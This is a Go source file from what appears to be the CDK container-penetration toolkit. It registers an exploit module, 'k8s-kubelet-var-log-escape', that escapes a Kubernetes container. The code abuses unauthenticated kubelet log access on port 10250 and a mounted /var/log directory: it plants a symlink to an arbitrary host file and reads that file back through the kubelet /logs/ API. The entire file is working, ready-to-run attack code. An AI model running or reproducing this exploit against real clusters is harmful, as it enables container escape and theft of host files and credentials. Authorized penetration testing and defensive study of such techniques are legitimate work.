//go:build !no_kubelet_var_log_escape
// +build !no_kubelet_var_log_escape

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package escaping

import (
	"fmt"
	"log"
	"os"
	"path"
	"regexp"
	"strings"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/exploit/base"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/tool/kubectl"
	"github.com/cdk-team/CDK/pkg/util"
)

type VarLogEscape struct{ base.BaseExploit }

func (p VarLogEscape) Desc() string {
	var buffer strings.Builder

	buffer.WriteString("Exploit container escape with kubelet log access & /var/log mount.")
	buffer.WriteString("Usage: cdk run k8s-kubelet-var-log-escape /root/targetfile-to-read")

	return buffer.String()
}

func (p VarLogEscape) Run() bool {
	args := cli.Args["<args>"].([]string)

	targetFile := args[0]
	token := ""
	logPageSubString := `href="pods/`
	logLinkRegx := `href="(.*)"`

	gateway, err := util.GetGateway()
	if err != nil {
		log.Printf("[-] GetGateway error: %v", err)
		return false
	}

	// check kubelet endpoint and logs access
	kubeletEndpoint := fmt.Sprintf("https://%s:10250/", gateway)
	log.Printf("[+] Checking kubelet endpoint: %s", kubeletEndpoint)
	opts := kubectl.K8sRequestOption{
		Token:  token,
		Server: kubeletEndpoint,
		Api:    "/logs/",
		Method: "GET",
	}
	respText, err := kubectl.ServerAccountRequest(opts)
	if err != nil {
		log.Printf("[-] kubelet log access error: %v", err)
		return false
	}
	log.Printf("[+] kubelet log access success, url: %s, response length: %d", kubeletEndpoint, len(respText))

	// Log all the log files in /var/log
	if strings.Contains(respText, logPageSubString) {
		loglist := regexp.MustCompile(logLinkRegx).FindAllStringSubmatch(respText, -1)
		loglistText := ""
		for _, filename := range loglist {
			loglistText += filename[1] + "\n"
		}
		log.Printf("log list: \n%s", loglistText)
	}

	// check /var/log mount
	mountinfo, err := util.GetMountInfo()
	mountPoint := ""
	if err != nil {
		log.Printf("[-] GetMountInfo error: %v", err)
		return false
	}
	for _, mount := range mountinfo {
		if mount.Root == "/var/log" {
			log.Printf("[+] Found /var/log mount success, mount point: %s", mount.MountPoint)
			mountPoint = mount.MountPoint
			break
		}
	}
	if mountPoint == "" {
		log.Printf("[-] Not found /var/log mount")
		return false
	}

	// make target symbolic file link
	// run `ln -s targetfile /var/log/targetfile`
	randomeFilename := fmt.Sprintf("%s-%s", "cdk-var-log-escape", util.RandString(10))
	filepath := path.Join(mountPoint, randomeFilename)
	os.Symlink(targetFile, filepath)

	// get log file in kubelet endpoint
	uri := path.Join("/logs/", randomeFilename)
	opts = kubectl.K8sRequestOption{
		Token:  token,
		Server: kubeletEndpoint,
		Api:    uri,
		Method: "GET",
	}
	fileContent, err := kubectl.ServerAccountRequest(opts)
	if err != nil {
		log.Printf("[-] Get log file error: %v", err)
		return false
	}
	log.Printf("[+] Get log file success, file content: \n%s", fileContent)
	log.Printf("[+] You can write the host file '%s' in file path: %s", targetFile, filepath)
	return true
}

func init() {
	exploit := VarLogEscape{}
	exploit.ExploitType = "escaping"
	plugin.RegisterExploit("k8s-kubelet-var-log-escape", exploit)
}
